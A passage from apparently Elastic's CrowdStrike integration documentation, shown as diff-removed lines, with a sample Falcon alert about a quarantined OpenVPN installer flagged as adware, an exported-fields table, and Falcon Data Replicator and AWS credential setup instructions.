agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"has_script_or_module_ioc\":\"true\",\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"is_synthetic_quarantine_disposition\":true,\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}", - "severity": 21, - "type": [ - "start" - ] - }, - "file": { - "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe" - }, - "host": { - "domain": "ABC.LOCAL", - "hostname": "ABC709-1175", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "ip": [ - "81.2.69.142" - ], - "mac": [ - "AB-21-48-61-05-B2" - ], - "os": { - "full": "Windows11", - "platform": "Windows", - "type": "windows" - } - }, - "input": { - "type": "cel" - }, - "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", - "process": { - "end": "2023-11-03T18:00:21.000Z", - "entity_id": "399748687993", - "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "hash": { - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" - }, - "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "parent": { - "command_line": "C:\\WINDOWS\\Explorer.EXE", - "entity_id": "392736520876", - "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", - "hash": { - "md5": "8cc3fcdd7d52d2d5221303c213e044ae", - "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4" - }, - "name": "explorer.exe", - "pid": 392736520876 - }, - "pid": 399748687993, - "start": "2023-11-03T18:00:13.000Z", - "user": { - "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "name": "mohit.jha" - } - }, - "related": { - "hash": [ - "b07f77fd3f9828b2c9d61f8a36609741", - "cdf9cfebb400ce89d5b6032bfcdc693b", - "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "8cc3fcdd7d52d2d5221303c213e044ae", - "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "0000000000000000000000000000000000000000" - ], - "hosts": [ - "ABC.LOCAL", - "ABC709-1175" - ], - "ip": [ - "81.2.69.142" - ], - "user": [ - "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "S-1-5-21-1909377054-3469629671-4104191496-4425", - "yuvraj.mahajan", - "mohit.jha" - ] - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields", - "forwarded", - "crowdstrike-alert" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "id": [ - "CSTA0004" - ], - "name": [ - "MachineLearning" - ] - }, - "technique": { - "id": [ - "CST0000" - ], - "name": [ - "Adware/PUP" - ] - } - }, - "user": { - "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "name": "mohit.jha" - } -} -``` - -**Exported fields** - -| Field | Description | Type | -|---|---|---| -| @timestamp | Event timestamp. | date | -| crowdstrike.alert.active_directory_authentication_method | | long | -| crowdstrike.alert.activity.browser | | keyword | -| crowdstrike.alert.activity.device | | keyword | -| crowdstrike.alert.activity.id | | keyword | -| crowdstrike.alert.activity.os | | keyword | -| crowdstrike.alert.agent_id | | keyword | -| crowdstrike.alert.agent_scan_id | | keyword | -| crowdstrike.alert.aggregate_id | | keyword | -| crowdstrike.alert.alert_attributes | | long | -| crowdstrike.alert.alleged_filetype | | keyword | -| crowdstrike.alert.assigned_to.name | | keyword | -| crowdstrike.alert.assigned_to.uid | | keyword | -| crowdstrike.alert.assigned_to.uuid | | keyword | -| crowdstrike.alert.associated_files.filepath | | keyword | -| crowdstrike.alert.associated_files.sha256 | | keyword | -| crowdstrike.alert.child_process_ids | | keyword | -| crowdstrike.alert.cid | | keyword | -| crowdstrike.alert.cloud_indicator | | boolean | -| crowdstrike.alert.cmdline | | keyword | -| crowdstrike.alert.command_line | | keyword | -| crowdstrike.alert.comment | | keyword | -| crowdstrike.alert.composite_id | | keyword | -| crowdstrike.alert.confidence | | long | -| crowdstrike.alert.context_timestamp | | date | -| crowdstrike.alert.control_graph_id | | keyword | -| crowdstrike.alert.crawl_edge_ids.Sensor | | keyword | -| crowdstrike.alert.crawl_vertex_ids.Sensor | | keyword | -| crowdstrike.alert.crawled_timestamp | | date | -| crowdstrike.alert.created_timestamp | | date | -| crowdstrike.alert.data_domains | | keyword | -| crowdstrike.alert.description | | keyword | -| crowdstrike.alert.detect_type | | keyword | -| crowdstrike.alert.device.agent_load_flags | | long | -| crowdstrike.alert.device.agent_local_time | | date | -| crowdstrike.alert.device.agent_version | | keyword | -| crowdstrike.alert.device.bios_manufacturer | | keyword | -| crowdstrike.alert.device.bios_version | | keyword | -| crowdstrike.alert.device.cid | | keyword | -| crowdstrike.alert.device.config_id_base | | keyword | -| crowdstrike.alert.device.config_id_build | | keyword | -| crowdstrike.alert.device.config_id_platform | | long | -| crowdstrike.alert.device.external_ip | | ip | -| crowdstrike.alert.device.first_seen | | date | -| crowdstrike.alert.device.groups | | keyword | -| crowdstrike.alert.device.hostinfo.active_directory_dn_display | | keyword | -| crowdstrike.alert.device.hostinfo.domain | | keyword | -| crowdstrike.alert.device.hostname | | keyword | -| crowdstrike.alert.device.id | | keyword | -| crowdstrike.alert.device.last_seen | | date | -| crowdstrike.alert.device.local_ip | | ip | -| crowdstrike.alert.device.mac_address | | keyword | -| crowdstrike.alert.device.machine_domain | | keyword | -| crowdstrike.alert.device.major_version | | keyword | -| crowdstrike.alert.device.minor_version | | keyword | -| crowdstrike.alert.device.modified_timestamp | | date | -| crowdstrike.alert.device.os_version | | keyword | -| crowdstrike.alert.device.ou | | keyword | -| crowdstrike.alert.device.platform_id | | keyword | -| crowdstrike.alert.device.platform_name | | keyword | -| crowdstrike.alert.device.pod_labels | | keyword | -| crowdstrike.alert.device.product_type | | keyword | -| crowdstrike.alert.device.product_type_desc | | keyword | -| crowdstrike.alert.device.site_name | | keyword | -| crowdstrike.alert.device.status | | keyword | -| crowdstrike.alert.device.system_manufacturer | | keyword | -| crowdstrike.alert.device.system_product_name | | keyword | -| crowdstrike.alert.device.tags | | keyword | -| crowdstrike.alert.display_name | | keyword | -| crowdstrike.alert.documents_accessed.filename | | keyword | -| crowdstrike.alert.documents_accessed.filepath | | keyword | -| crowdstrike.alert.documents_accessed.timestamp | | date | -| crowdstrike.alert.email_sent | | boolean | -| crowdstrike.alert.end_time | | date | -| crowdstrike.alert.event_id | | keyword | -| crowdstrike.alert.executables_written.filename | | keyword | -| crowdstrike.alert.executables_written.filepath | | keyword | -| crowdstrike.alert.executables_written.timestamp | | date | -| crowdstrike.alert.falcon_host_link | | keyword | -| crowdstrike.alert.file_writes.name | | keyword | -| crowdstrike.alert.file_writes.sha256 | | keyword | -| crowdstrike.alert.filename | | keyword | -| crowdstrike.alert.filepath | | keyword | -| crowdstrike.alert.files_accessed.filename | | keyword | -| crowdstrike.alert.files_accessed.filepath | | keyword | -| crowdstrike.alert.files_accessed.timestamp | | date | -| crowdstrike.alert.files_written.filename | | keyword | -| crowdstrike.alert.files_written.filepath | | keyword | -| crowdstrike.alert.files_written.timestamp | | date | -| crowdstrike.alert.global_prevalence | | keyword | -| crowdstrike.alert.grandparent_details.cmdline | | keyword | -| crowdstrike.alert.grandparent_details.filename | | keyword | -| crowdstrike.alert.grandparent_details.filepath | | keyword | -| crowdstrike.alert.grandparent_details.local_process_id | | keyword | -| crowdstrike.alert.grandparent_details.md5 | | keyword | -| crowdstrike.alert.grandparent_details.process_graph_id | | keyword | -| crowdstrike.alert.grandparent_details.process_id | | keyword | -| crowdstrike.alert.grandparent_details.sha256 | | keyword | -| crowdstrike.alert.grandparent_details.timestamp | | date | -| crowdstrike.alert.grandparent_details.user_graph_id | | keyword | -| crowdstrike.alert.grandparent_details.user_id | | keyword | -| crowdstrike.alert.grandparent_details.user_name | | keyword | -| crowdstrike.alert.has_script_or_module_ioc | | boolean | -| crowdstrike.alert.host_name | | keyword | -| crowdstrike.alert.host_type | | keyword | -| crowdstrike.alert.id | | keyword | -| crowdstrike.alert.idp_policy.enforced_externally | | long | -| crowdstrike.alert.idp_policy.mfa_factor_type | | long | -| crowdstrike.alert.idp_policy.mfa_provider | | long | -| crowdstrike.alert.idp_policy.rule_action | | long | -| crowdstrike.alert.idp_policy.rule_id | | keyword | -| crowdstrike.alert.idp_policy.rule_name | | keyword | -| crowdstrike.alert.idp_policy.rule_trigger | | long | -| crowdstrike.alert.image_file_name | | keyword | -| crowdstrike.alert.incident.created | | date | -| crowdstrike.alert.incident.end | | date | -| crowdstrike.alert.incident.id | | keyword | -| crowdstrike.alert.incident.score | | double | -| crowdstrike.alert.incident.start | | date | -| crowdstrike.alert.indicator_id | | keyword | -| crowdstrike.alert.ioc_context.cmdline | | keyword | -| crowdstrike.alert.ioc_context.ioc_description | | keyword | -| crowdstrike.alert.ioc_context.ioc_source | | keyword | -| crowdstrike.alert.ioc_context.ioc_type | | keyword | -| crowdstrike.alert.ioc_context.ioc_value | | keyword | -| crowdstrike.alert.ioc_context.md5 | | keyword | -| crowdstrike.alert.ioc_context.sha256 | | keyword | -| crowdstrike.alert.ioc_context.type | | keyword | -| crowdstrike.alert.ioc_description | | keyword | -| crowdstrike.alert.ioc_source | | keyword | -| crowdstrike.alert.ioc_type | | keyword | -| crowdstrike.alert.ioc_value | | keyword | -| crowdstrike.alert.ioc_values | | keyword | -| crowdstrike.alert.is_synthetic_quarantine_disposition | | boolean | -| crowdstrike.alert.ldap_search_query_attack | | long | -| crowdstrike.alert.local_prevalence | | keyword | -| crowdstrike.alert.local_process_id | | keyword | -| crowdstrike.alert.location_country_code | | keyword | -| crowdstrike.alert.location_latitude_as_int | | long | -| crowdstrike.alert.location_longitude_as_int | | long | -| crowdstrike.alert.logon_domain | | keyword | -| crowdstrike.alert.md5 | | keyword | -| crowdstrike.alert.model_anomaly_indicators | | keyword | -| crowdstrike.alert.name | | keyword | -| crowdstrike.alert.network_accesses.access_timestamp | | date | -| crowdstrike.alert.network_accesses.access_type | | long | -| crowdstrike.alert.network_accesses.connection_direction | | keyword | -| crowdstrike.alert.network_accesses.isIPV6 | | boolean | -| crowdstrike.alert.network_accesses.local_address | | ip | -| crowdstrike.alert.network_accesses.local_port | | long | -| crowdstrike.alert.network_accesses.protocol | | keyword | -| crowdstrike.alert.network_accesses.remote_address | | ip | -| crowdstrike.alert.network_accesses.remote_port | | long | -| crowdstrike.alert.objective | | keyword | -| crowdstrike.alert.operating_system | | keyword | -| crowdstrike.alert.os_name | | keyword | -| crowdstrike.alert.overwatch_note | | keyword | -| crowdstrike.alert.overwatch_note_timestamp | | date | -| crowdstrike.alert.parent_details.cmdline | | keyword | -| crowdstrike.alert.parent_details.filename | | keyword | -| crowdstrike.alert.parent_details.filepath | | keyword | -| crowdstrike.alert.parent_details.local_process_id | | keyword | -| crowdstrike.alert.parent_details.md5 | | keyword | -| crowdstrike.alert.parent_details.process_graph_id | | keyword | -| crowdstrike.alert.parent_details.process_id | | keyword | -| crowdstrike.alert.parent_details.sha256 | | keyword | -| crowdstrike.alert.parent_details.timestamp | | date | -| crowdstrike.alert.parent_details.user_graph_id | | keyword | -| crowdstrike.alert.parent_details.user_id | | keyword | -| crowdstrike.alert.parent_details.user_name | | keyword | -| crowdstrike.alert.parent_process_id | | keyword | -| crowdstrike.alert.pattern_disposition | | long | -| crowdstrike.alert.pattern_disposition_description | | keyword | -| crowdstrike.alert.pattern_disposition_details.blocking_unsupported_or_disabled | | boolean | -| crowdstrike.alert.pattern_disposition_details.bootup_safeguard_enabled | | boolean | -| crowdstrike.alert.pattern_disposition_details.containment_file_system | | boolean | -| crowdstrike.alert.pattern_disposition_details.critical_process_disabled | | boolean | -| crowdstrike.alert.pattern_disposition_details.detect | | boolean | -| crowdstrike.alert.pattern_disposition_details.fs_operation_blocked | | boolean | -| crowdstrike.alert.pattern_disposition_details.handle_operation_downgraded | | boolean | -| crowdstrike.alert.pattern_disposition_details.inddet_mask | | boolean | -| crowdstrike.alert.pattern_disposition_details.indicator | | boolean | -| crowdstrike.alert.pattern_disposition_details.kill_action_failed | | boolean | -| crowdstrike.alert.pattern_disposition_details.kill_parent | | boolean | -| crowdstrike.alert.pattern_disposition_details.kill_process | | boolean | -| crowdstrike.alert.pattern_disposition_details.kill_subprocess | | boolean | -| crowdstrike.alert.pattern_disposition_details.mfa_required | | boolean | -| crowdstrike.alert.pattern_disposition_details.operation_blocked | | boolean | -| crowdstrike.alert.pattern_disposition_details.policy_disabled | | boolean | -| crowdstrike.alert.pattern_disposition_details.prevention_provisioning_enabled | | boolean | -| crowdstrike.alert.pattern_disposition_details.process_blocked | | boolean | -| crowdstrike.alert.pattern_disposition_details.quarantine_file | | boolean | -| crowdstrike.alert.pattern_disposition_details.quarantine_machine | | boolean | -| crowdstrike.alert.pattern_disposition_details.registry_operation_blocked | | boolean | -| crowdstrike.alert.pattern_disposition_details.response_action_already_applied | | boolean | -| crowdstrike.alert.pattern_disposition_details.response_action_failed | | boolean | -| crowdstrike.alert.pattern_disposition_details.response_action_triggered | | boolean | -| crowdstrike.alert.pattern_disposition_details.rooting | | boolean | -| crowdstrike.alert.pattern_disposition_details.sensor_only | | boolean | -| crowdstrike.alert.pattern_disposition_details.suspend_parent | | boolean | -| crowdstrike.alert.pattern_disposition_details.suspend_process | | boolean | -| crowdstrike.alert.pattern_id | | keyword | -| crowdstrike.alert.platform | | keyword | -| crowdstrike.alert.poly_id | | keyword | -| crowdstrike.alert.prevented | | boolean | -| crowdstrike.alert.process_end_time | | date | -| crowdstrike.alert.process_id | | keyword | -| crowdstrike.alert.process_start_time | | date | -| crowdstrike.alert.product | | keyword | -| crowdstrike.alert.protocol_anomaly_classification | | long | -| crowdstrike.alert.quarantined | | boolean | -| crowdstrike.alert.quarantined_files.filename | | keyword | -| crowdstrike.alert.quarantined_files.id | | keyword | -| crowdstrike.alert.quarantined_files.sha256 | | keyword | -| crowdstrike.alert.quarantined_files.state | | keyword | -| crowdstrike.alert.rule_group_id | | keyword | -| crowdstrike.alert.rule_group_name | | keyword | -| crowdstrike.alert.rule_instance_created_by | | keyword | -| crowdstrike.alert.rule_instance_id | | keyword | -| crowdstrike.alert.rule_instance_name | | keyword | -| crowdstrike.alert.rule_instance_version | | keyword | -| crowdstrike.alert.scan_id | | keyword | -| crowdstrike.alert.scenario | | keyword | -| crowdstrike.alert.seconds_to_resolved | | long | -| crowdstrike.alert.seconds_to_triaged | | long | -| crowdstrike.alert.severity | | long | -| crowdstrike.alert.severity_name | | keyword | -| crowdstrike.alert.sha1 | | keyword | -| crowdstrike.alert.sha256 | | keyword | -| crowdstrike.alert.show_in_ui | | boolean | -| crowdstrike.alert.source.account_azure_id | | keyword | -| crowdstrike.alert.source.account_domain | | keyword | -| crowdstrike.alert.source.account_name | | keyword | -| crowdstrike.alert.source.account_object_guid | | keyword | -| crowdstrike.alert.source.account_object_sid | | keyword | -| crowdstrike.alert.source.account_sam_account_name | | keyword | -| crowdstrike.alert.source.account_upn | | keyword | -| crowdstrike.alert.source.endpoint_account_object_guid | | keyword | -| crowdstrike.alert.source.endpoint_account_object_sid | | keyword | -| crowdstrike.alert.source.endpoint_address_ip4 | | ip | -| crowdstrike.alert.source.endpoint_host_name | | keyword | -| crowdstrike.alert.source.endpoint_ip_address | | ip | -| crowdstrike.alert.source.endpoint_ip_reputation | | long | -| crowdstrike.alert.source.endpoint_sensor_id | | keyword | -| crowdstrike.alert.source.ip_isp_classification | | long | -| crowdstrike.alert.source.ip_isp_domain | | keyword | -| crowdstrike.alert.source_products | | keyword | -| crowdstrike.alert.source_vendors | | keyword | -| crowdstrike.alert.start_time | | date | -| crowdstrike.alert.status | | keyword | -| crowdstrike.alert.tactic | | keyword | -| crowdstrike.alert.tactic_id | | keyword | -| crowdstrike.alert.tags | | keyword | -| crowdstrike.alert.target.account_name | | keyword | -| crowdstrike.alert.target.domain_controller_host_name | | keyword | -| crowdstrike.alert.target.domain_controller_object_guid | | keyword | -| crowdstrike.alert.target.domain_controller_object_sid | | keyword | -| crowdstrike.alert.target.endpoint_account_object_guid | | keyword | -| crowdstrike.alert.target.endpoint_account_object_sid | | keyword | -| crowdstrike.alert.target.endpoint_host_name | | keyword | -| crowdstrike.alert.target.endpoint_sensor_id | | keyword | -| crowdstrike.alert.target.service_access_identifier | | keyword | -| crowdstrike.alert.technique | | keyword | -| crowdstrike.alert.technique_id | | keyword | -| crowdstrike.alert.template_instance_id | | keyword | -| crowdstrike.alert.timestamp | | date | -| crowdstrike.alert.tree_id | | keyword | -| crowdstrike.alert.tree_root | | keyword | -| crowdstrike.alert.triggering_process_graph_id | | keyword | -| crowdstrike.alert.type | | keyword | -| crowdstrike.alert.updated_timestamp | | date | -| crowdstrike.alert.user_id | | keyword | -| crowdstrike.alert.user_name | | keyword | -| crowdstrike.alert.user_principal | | keyword | -| crowdstrike.alert.worker_node_name | | keyword | -| data_stream.dataset | Data stream dataset. | constant_keyword | -| data_stream.namespace | Data stream namespace. | constant_keyword | -| data_stream.type | Data stream type. | constant_keyword | -| event.dataset | Event dataset. | constant_keyword | -| event.module | Event module. | constant_keyword | -| input.type | Type of filebeat input. | keyword | -| log.offset | Log offset. | long | -| tags | List of keywords used to tag each event. | keyword | -| threat.framework | Name of the threat framework used to further categorize and classify the tactic and technique of the reported threat. Framework classification can be provided by detecting systems, evaluated at ingest time, or retrospectively tagged to events. | keyword | -| threat.tactic.id | The id of tactic used by this threat. You can use a MITRE ATT&CK® tactic, for example. (ex. https://attack.mitre.org/tactics/TA0002/ ) | keyword | -| threat.technique.id | The id of technique used by this threat. You can use a MITRE ATT&CK® technique, for example. (ex. https://attack.mitre.org/techniques/T1059/) | keyword | - - -### FDR - -The CrowdStrike Falcon Data Replicator allows CrowdStrike users to replicate data from CrowdStrike -managed S3 buckets. CrowdStrike writes notification events to a CrowdStrike managed SQS queue when new data is available in S3. - -This integration can be used in two ways. It can consume SQS notifications directly from the CrowdStrike managed -SQS queue or it can be used in conjunction with the FDR tool that replicates the data to a self-managed S3 bucket -and the integration can read from there. - -In both cases SQS messages are deleted after they are processed. This allows you to operate more than one Elastic -Agent with this integration if needed and not have duplicate events, but it means you cannot ingest the data a second time. - -#### Use with CrowdStrike managed S3/SQS - -This is the simplest way to setup the integration, and also the default. - -You need to set the integration up with the SQS queue URL provided by Crowdstrike FDR. - -#### Use with FDR tool and data replicated to a self-managed S3 bucket - -This option can be used if you want to archive the raw CrowdStrike data. - -You need to follow the steps below: - -- Create a S3 bucket to receive the logs. -- Create a SQS queue. -- Configure your S3 bucket to send object created notifications to your SQS queue. -- Follow the [FDR tool](https://github.com/CrowdStrike/FDR) instructions to replicate data to your own S3 bucket. -- Configure the integration to read from your self-managed SQS topic. - -> NOTE: While the FDR tool can replicate the files from S3 to your local file system, this integration cannot read those files because they are gzip compressed, and the log file input does not support reading compressed files. - -#### Configuration for the S3 input - -AWS credentials are required for running this integration if you want to use the S3 input. - -##### Configuration parameters -* `access_key_id`: first part of access key. -* `secret_access_key`: second part of access key. -* `session_token`: required when using temporary security credentials. -* `credential_profile_name`: profile name in shared credentials file. -* `shared_credential_file`: directory of the shared credentials file. -* `endpoint`: URL of the entry point for an AWS web service. -* `role_arn`: AWS IAM Role to assume. - -##### Credential Types -There are three types of AWS credentials can be used: - -- access keys, -- temporary security credentials, and -- IAM role ARN. - -##### Access keys - -`AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` are the two parts of access keys. -They are long-term credentials for an IAM user, or the AWS account root user. -Please see [AWS Access Keys and Secret Access Keys](https://docs.aws.amazon.com/general/latest/gr/aws-sec-cred-types.html#access-keys-and-secret-access-keys) -for more details. - -##### Temporary security credentials - -Temporary security credentials has a limited lifetime and consists of an -access key ID, a secret access key, and a security token which typically returned -from `GetSessionToken`. - -MFA-enabled IAM users would need to submit an MFA code -while calling `GetSessionToken`. `default_region` identifies the AWS Region -whose servers you want to send your first API request to by default. - -This is typically the Region closest to you, but it can be any Region. Please see -[Temporary Security Credentials](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -for more details. - -`sts get-session-token` AWS CLI can be used to generate temporary credentials. -For example. with MFA-enabled: -```js -aws> sts get-session-token --serial-number arn:aws:iam::1234:mfa/your-email@example.com --duration-seconds 129600 --token-code 123456 -``` - -Because temporary security credentials are short term, after they expire, the -user needs to generate new ones and manually update the package configuration in -order to continue collecting `aws` metrics. - -This will cause data loss if the configuration is not updated with new credentials before the old ones expire. - -##### IAM role ARN - -An IAM role is an IAM identity that you can create in your account that has -specific permissions that determine what the identity can and cannot do in AWS. - -A role does not have standard long-term credentials such as a password or access -keys associated with it. Instead, when you assume a role, it provides you with -temporary security credentials for your role session. -IAM role Amazon Resource Name (ARN) can be used to specify which AWS IAM role to assume to generate -temporary credentials. - -Please see [AssumeRole API documentation](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) for more details. - -##### Supported Formats -1. Use access keys: Access keys include `access_key_id`, `secret_access_key` -and/or `session_token`. -2. Use `role_arn`: `role_arn` is used to specify which AWS IAM role to assume - for generating temporary credentials. - If `role_arn` is given, the package will check if access keys are given. - If not, the package will check for credential profile name. - If neither is given, default credential profile will be used. - - Please make sure credentials are given under either a credential 